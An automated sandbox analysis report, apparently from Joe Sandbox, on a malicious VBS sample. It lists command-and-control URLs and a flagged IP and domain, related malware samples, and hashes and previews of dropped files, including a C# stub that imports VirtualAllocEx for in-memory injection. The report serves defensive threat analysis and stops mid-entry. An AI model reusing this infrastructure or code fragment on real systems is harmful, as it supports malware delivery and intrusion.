http://atl.bigbigpoppa.com/yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	false		high
http://constitution.org/usdeclar.txt	rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	false		high
https://contoso.com/	powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	false		high
http://constitution.org/usdeclar.txtC:	rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNW	rundll32.exe, 00000012.00000003.809344105.0000000000B86000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://atl.bigbigpoppa.com/	rundll32.exe, 00000012.00000002.870125823.0000000000B1A000.00000004.00000020.sdmp	true	Avira URL Cloud: malware	unknown
http://https://file://USER.ID%lu.exe/upd	rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	low
http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44eu	rundll32.exe, 00000012.00000003.797288272.0000000000B78000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000016.00000002.872464143.00000200AE0A1000.00000004.00000001.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.251.90.253	art.microsoftsofymicrosoftsoft.at	Russian Federation		35278	SPRINTHOSTRU	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	481106
Start date:	10.09.2021
Start time:	11:09:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	sample.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@22/20@7/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 24% (good quality ratio 22.9%) Quality average: 80.3% Quality standard deviation: 28.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 20.82.209.183, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 23.211.4.86, 20.82.210.154 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:13:06	API Interceptor	1x Sleep call for process: wscript.exe modified
11:13:44	API Interceptor	3x Sleep call for process: rundll32.exe modified
11:13:58	API Interceptor	41x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.251.90.253	345678.vbs	Get hash	malicious	Browse
	start[526268].vbs	Get hash	malicious	Browse
	URS8.VBS	Get hash	malicious	Browse
	documentation_446618.vbs	Get hash	malicious	Browse
	start_information[754877].vbs	Get hash	malicious	Browse
	start[873316].vbs	Get hash	malicious	Browse
	documentation[979729].vbs	Get hash	malicious	Browse
	run_documentation[820479].vbs	Get hash	malicious	Browse
	run[476167].vbs	Get hash	malicious	Browse
	run_presentation[645872].vbs	Get hash	malicious	Browse
	documentation[979729].vbs	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
resolver1.opendns.com	345678.vbs	Get hash	malicious	Browse	208.67.222.222
	start[526268].vbs	Get hash	malicious	Browse	208.67.222.222
	documentation_446618.vbs	Get hash	malicious	Browse	208.67.222.222
	start[873316].vbs	Get hash	malicious	Browse	208.67.222.222
	6bI5jJ1oIXeI.vbs	Get hash	malicious	Browse	208.67.222.222
	nostalgia.dll	Get hash	malicious	Browse	208.67.222.222
	Lbh0K9szYgv5.vbs	Get hash	malicious	Browse	208.67.222.222
	ursi.vbs	Get hash	malicious	Browse	208.67.222.222
	OcEyzBswGm.exe	Get hash	malicious	Browse	208.67.222.222
	u0So5MG5rkxx.vbs	Get hash	malicious	Browse	208.67.222.222
	PIfkvZ5Gh6PO.vbs	Get hash	malicious	Browse	208.67.222.222
	Ry1j2eCohwtN.vbs	Get hash	malicious	Browse	208.67.222.222
	Invoice778465.xlsb	Get hash	malicious	Browse	208.67.222.222
	9uHDrMnFYKhh.vbs	Get hash	malicious	Browse	208.67.222.222
	ursnif.vbs	Get hash	malicious	Browse	208.67.222.222
	8ph6zaHVzRpV.vbs	Get hash	malicious	Browse	208.67.222.222
	Cetu9U5nJ7Fc.vbs	Get hash	malicious	Browse	208.67.222.222
	vntfeq.dll	Get hash	malicious	Browse	208.67.222.222
	231231232.dll	Get hash	malicious	Browse	208.67.222.222
	gbgr.dll	Get hash	malicious	Browse	208.67.222.222
art.microsoftsofymicrosoftsoft.at	345678.vbs	Get hash	malicious	Browse	185.251.90.253
	start[526268].vbs	Get hash	malicious	Browse	185.251.90.253
	documentation_446618.vbs	Get hash	malicious	Browse	185.251.90.253
	start[873316].vbs	Get hash	malicious	Browse	185.251.90.253
	6bI5jJ1oIXeI.vbs	Get hash	malicious	Browse	194.226.139.129
	nostalgia.dll	Get hash	malicious	Browse	194.226.139.129
	Lbh0K9szYgv5.vbs	Get hash	malicious	Browse	194.226.139.129
	ursi.vbs	Get hash	malicious	Browse	193.187.173.154
	u0So5MG5rkxx.vbs	Get hash	malicious	Browse	193.187.173.154
	PIfkvZ5Gh6PO.vbs	Get hash	malicious	Browse	193.187.173.154
	Ry1j2eCohwtN.vbs	Get hash	malicious	Browse	185.180.231.210
	Invoice778465.xlsb	Get hash	malicious	Browse	185.180.231.210
	9uHDrMnFYKhh.vbs	Get hash	malicious	Browse	185.180.231.210
	ursnif.vbs	Get hash	malicious	Browse	185.180.231.210
	8ph6zaHVzRpV.vbs	Get hash	malicious	Browse	185.180.231.210
	Cetu9U5nJ7Fc.vbs	Get hash	malicious	Browse	185.180.231.210
	vntfeq.dll	Get hash	malicious	Browse	95.181.163.74
	231231232.dll	Get hash	malicious	Browse	95.181.163.74
	gbgr.dll	Get hash	malicious	Browse	95.181.163.74
	B9C23PuJnfNI.vbs	Get hash	malicious	Browse	95.181.163.74

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SPRINTHOSTRU	345678.vbs	Get hash	malicious	Browse	185.251.90.253
	start[526268].vbs	Get hash	malicious	Browse	185.251.90.253
	ZaRfpqeOYY.apk	Get hash	malicious	Browse	141.8.192.169
	URS8.VBS	Get hash	malicious	Browse	185.251.90.253
	h4AjR43abb.exe	Get hash	malicious	Browse	185.251.88.208
	documentation_446618.vbs	Get hash	malicious	Browse	185.251.90.253
	start_information[754877].vbs	Get hash	malicious	Browse	185.251.90.253
	dAmDdz0YVv.exe	Get hash	malicious	Browse	185.251.88.208
	start[873316].vbs	Get hash	malicious	Browse	185.251.90.253
	documentation[979729].vbs	Get hash	malicious	Browse	185.251.90.253
	run_documentation[820479].vbs	Get hash	malicious	Browse	185.251.90.253
	run[476167].vbs	Get hash	malicious	Browse	185.251.90.253
	run_presentation[645872].vbs	Get hash	malicious	Browse	185.251.90.253
	yXf9mhlpKV.exe	Get hash	malicious	Browse	185.251.88.208
	mgdL2TD6Dg.exe	Get hash	malicious	Browse	185.251.88.208
	documentation[979729].vbs	Get hash	malicious	Browse	185.251.90.253
	Pi2KyLAg44.exe	Get hash	malicious	Browse	185.251.88.208
	oClF50dZRG.exe	Get hash	malicious	Browse	185.251.88.208
	2K5KXrsoLH.exe	Get hash	malicious	Browse	185.251.88.208
	1fbm3cYMWh.exe	Get hash	malicious	Browse	185.251.88.208

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\fum.cpp	345678.vbs	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\fum.cpp	start[526268].vbs	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11606
Entropy (8bit):	4.883977562702998
Encrypted:	false
SSDEEP:	192:Axoe5FpOMxoe5Pib4GVsm5emdKVFn3eGOVpN6K3bkkjo5HgkjDt4iWN3yBGHh9sO:6fib4GGVoGIpN6KQkj2Akjh4iUxs14fr
MD5:	1F1446CE05A385817C3EF20CBD8B6E6A
SHA1:	1E4B1EE5EFCA361C9FB5DC286DD7A99DEA31F33D
SHA-256:	2BCEC12B7B67668569124FED0E0CEF2C1505B742F7AE2CF86C8544D07D59F2CE
SHA-512:	252AD962C0E8023419D756A11F0DDF2622F71CBC9DAE31DC14D9C400607DF43030E90BCFBF2EE9B89782CC952E8FB2DADD7BDBBA3D31E33DA5A589A76B87C514
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\RESB252.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	data
Category:	dropped
Size (bytes):	2192
Entropy (8bit):	2.7196818081262806
Encrypted:	false
SSDEEP:	24:eat7aHXIRfhKdNfI+ycuZhN2akSOPNnq9SpKEFm9c:bU4R5Kd91ul2a3Sq9I
MD5:	132689FC7B44DFFB6FB5FF5FEF6D26BA
SHA1:	9D68B487474E17811412DF9DC7309D3215C5C532
SHA-256:	3E70C463797F8520F7A6983985BBF267C1A8548E76D62EA3AA141E8A46DD1C3D
SHA-512:	5AB00554FA9AAD6D99920BC001FDF502B53ED981D6301DC3E556C3455A3E05ADAB858CD522ACA4F668E56532073B05569E9DD363AFA3A53332449EA5E559B97D
Malicious:	false
Preview:	........W....c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP..................3.@...A.B._............7.......C:\Users\user\AppData\Local\Temp\RESB252.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESC397.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	data
Category:	dropped
Size (bytes):	2192
Entropy (8bit):	2.713384442892568
Encrypted:	false
SSDEEP:	24:ea9aVnvgaHLhKdNfI+ycuZhNdYNakS8YCPNnq9SpDEFm9c:b9w1Kd91ulCNa3LOq9x
MD5:	D377A1E40B0BEE977688A3EE50D603F7
SHA1:	45F0E30AC08124218D07AF06F6120BBB49A55062
SHA-256:	EE727E84C2CE25F3232AD9B4CEE952177C605C845FF50D871FE1B9AFEE2A0BB0
SHA-512:	2D34E5926266A6FBBB03827F53A90A4AB29675FD95D416F7E54801DB334C493212609B9D9DA139301B1292A2EB5AA6CB21FE639D3A0F0CEE4B19031ADC8E9AFA
Malicious:	false
Preview:	........W....c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP.................!.!-....:..H..V..........7.......C:\Users\user\AppData\Local\Temp\RESC397.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hlng44lx.iid.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nre1bpnm.vkr.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\adobe.url Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<https://adobe.com/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.699454908123665
Encrypted:	false
SSDEEP:	3:J25YdimVVG/VClAWPUyxAbABGQEZapfpgtovn:J254vVG/4xPpuFJQxHvn
MD5:	99D9EE4F5137B94435D9BF49726E3D7B
SHA1:	4AE65CB58C311B5D5D963334F1C30B0BD84AFC03
SHA-256:	F5BC6CF90B739E9C70B6EA13F5445B270D8F5906E199270E22A2F685D989211E
SHA-512:	7B8A65FE6574A80E26E4D7767610596FEEA1B5225C3E8C7E105C6AC83F5312399EDB4E3798C3AF4151BCA8EF84E3D07D1ED1C5440C8B66B2B8041408F0F2E4F0
Malicious:	false
Preview:	[{000214A0-0000-0000-C000-000000000046}]..Prop3=19,11..[InternetShortcut]..IDList=..URL=https://adobe.com/..

C:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1047407027966525
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grynYNak7Ynqq8YCPN5Dlq5J:+RI+ycuZhNdYNakS8YCPNnqX
MD5:	88218E212D96EB16133ABFF948BD8E56
SHA1:	24863DA33DE10BD5DAB5E70A13A60F4F221071B5
SHA-256:	6A0071564BA9EBE5AC747CF5B844D23A32BEE6E9170F77D5A5D2AD8E9733AFBD
SHA-512:	627015D627D592A75D41B98A64DB58D4CF8B7B0CD05E41B07FEA419E78BCB3C34881C4A7329571C7FEB45AB2662C4C2975496BF9AF663E10CF0CEBCE99A314AD
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.s.h.x.v.r.3.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.s.h.x.v.r.3.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	421
Entropy (8bit):	5.017019370437066
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJzLHMRSRa+eNMjSSRrLypSRHq1oZ6laAkKFM+Qy:V/DTLDfuxLP9eg5rLy4uMaLXjQy
MD5:	7504862525C83E379C573A3C2BB810C6
SHA1:	3C7E3F89955F07E061B21107DAEF415E0D0C5F5E
SHA-256:	B81B8E100611DBCEC282117135F47C781087BD95A01DC5496CAC6BE334A8B0CC
SHA-512:	BC8C4EAD30E12FB619762441B9E84A4E7DF15D23782F80284378129F95FAD5A133D10C975795EEC6DA2564EC4D7F75430C45CA7113A8BFF2D1AFEE0331F13E76
Malicious:	true
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class tjuivx. {. [DllImport("kernel32")].public static extern IntPtr GetCurrentProcess();.[DllImport("kernel32")].public static extern void SleepEx(uint yijswysfmu,uint rpdwbh);.[DllImport("kernel32")].public static extern IntPtr VirtualAllocEx(IntPtr hkhhmwnsoyn,IntPtr xfehjdcey,uint nqamet,uint rvtfunn,uint mlrfbdrm);.. }..}.

C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	375
Entropy (8bit):	5.235232918611443
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723f11b0zxs7+AEszIN723f117BH:p37Lvkmb6K2aN1b0WZETaN1t
MD5:	28CA1C15ED722DFD4F2D1F6901EE48B1
SHA1:	AD976031236D1882E6DF10A5C2B33106194577B4
SHA-256:	5C22B14A5EFCEC499A87EFE40ED4B19C5C66169A4B0AEFB6ABD8F06DC0F39F44
SHA-512:	E67F6A45C7E6E894EC16AD288A5E9733F61FAA736271A0687EDB8E3E03C2A75BF615329F72A95DCECC7004FCABABF95C5816D4263A9F3F9DF545F2BA6622EE6E
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.0.cs"

C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.6359451339255986
Encrypted:	false
SSDEEP:	24:etGShMOWEey8MTz7X8daP0eWQJDdWSWtJ0DtkZfGhBUn7XI+ycuZhNdYNakS8YC8:6X7KMTcd6q+WPVJGh41ulCNa3LOq
MD5:	16D4568C21BD229F968BD5DBF24C59D5
SHA1:	90A6890993F0145A6343E2D84D58B23550B9BDB7
SHA-256:	365F757DF260768D372CA42A74534FE66BAF97B882CB5A6A7ED952D0052FBE65
SHA-512:	5D7869BFA0DB6110F1C1CBF45F7EDFDF3730516F7FE1BFB5D5D8BDB75817FF7A8626D36069563533BC1D65D0C153044B7F0466C93B5C2CC8A37151CA2784F2B3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q.;a...........!.................$... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....*BSJB............v4.0.30319......l...P...#~......L...#Strings............#US.........#GUID... ...T...#Blob...........G.........%3............................................................2.+...................................................... 9............ K............ S.....P ......b.........h.....s.....z...........................b.!...b...!.b.&...b.......+.....4.A.....9.......K.......S......................................."..........<Module>.cshxvr3e.dll.tjuivx.W32.ms

C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	412
Entropy (8bit):	4.871364761010112
Encrypted:	false
SSDEEP:	12:zKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:zKaM5DqBVKVrdFAMBJTH
MD5:	83B3C9D9190CE2C57B83EEE13A9719DF
SHA1:	ABFAB07DEA88AF5D3AF75970E119FE44F43FE19E
SHA-256:	B5D219E5143716023566DD71C0195F41F32C3E7F30F24345E1708C391DEEEFDA
SHA-512:	0DE42AC5924B8A8E977C1330E9D7151E9DCBB1892A038C1815321927DA3DB804EC13B129196B6BC84C7BFC9367C1571FCD128CCB0645EAC7418E39A91BC2FEDB
Malicious:	false
Preview:	Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\fum.cpp Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	387072
Entropy (8bit):	6.617827225958404
Encrypted:	false
SSDEEP:	6144:kZv2xLg5Ema5+kMLdcW2Ipsk0AOIjlllll/lllllWQO+XK+Mtw:kn5AUkaqIpWylllll/lllll7O+XLMtw
MD5:	D48EBF7B31EDDA518CA13F71E876FFB3
SHA1:	C72880C38C6F1A013AA52D032FC712DC63FE29F1
SHA-256:	8C5BA29FBEEDF62234916D84F3A857A3B086871631FD87FABDFC0818CF049587
SHA-512:	59CBBD4ADA4F51650380989A6A024600BB67982255E9F8FFBED14D3A723471B02DAF53A0A05B2E6664FF35CB4C224F9B209FB476D6709A7B33F0A9C060973FB8
Malicious:	true
Joe Sandbox View:	Filename: 345678.vbs, Detection: malicious, Browse Filename: start[526268].vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8st.8st.8st....st...9st...#st...+st.8su..st...2st...?st...9st...st...9st...9st.Rich8st.........................PE..L......Y...........!.....,..........9........@......................................%O....@.................................p...d................................%..`...T...............................@............@...............................text....*.......,.................. ..`.rdata...~...@.......0..............@..@.data...............................@....gfids..............................@..@.reloc...%.......&..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.109557763825611
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryYak7YnqqOPN5Dlq5J:+RI+ycuZhN2akSOPNnqX
MD5:	F3E233FD4098F2F441A542025FF3E0A7
SHA1:	597AB33ABFBE4F5CFEB6808775DCDED22D58CCB8
SHA-256:	FD33950219A976AD54153B66857E630F78799CBE5E8DA964807FD11829D3C90B
SHA-512:	930061FB9A9E6A2848A44E62F35943F56ECAC76DC1C5BE0D86FC6C99ED8A2C62D9C6267A0F1203CAC1A8E89F94E7024A80DB24C574E9E1A65C0D7556551D2EF0
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...k.u.l.j.o.g.h.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...k.u.l.j.o.g.h.z...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	398
Entropy (8bit):	4.993655904789625
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJWLPMRSR7a1MIq+ZXIO1SRa+rVSSRnA/fHJGF0y:V/DTLDfu0LnQs9rV5nA/Ra0y
MD5:	C08AF9BD048D4864677C506B609F368E
SHA1:	23B8F42A01326DC612E4205B08115A4B68677045
SHA-256:	EA46497ADAE53B5568188564F92E763040A350603555D9AA5AE9A371192D7AE7
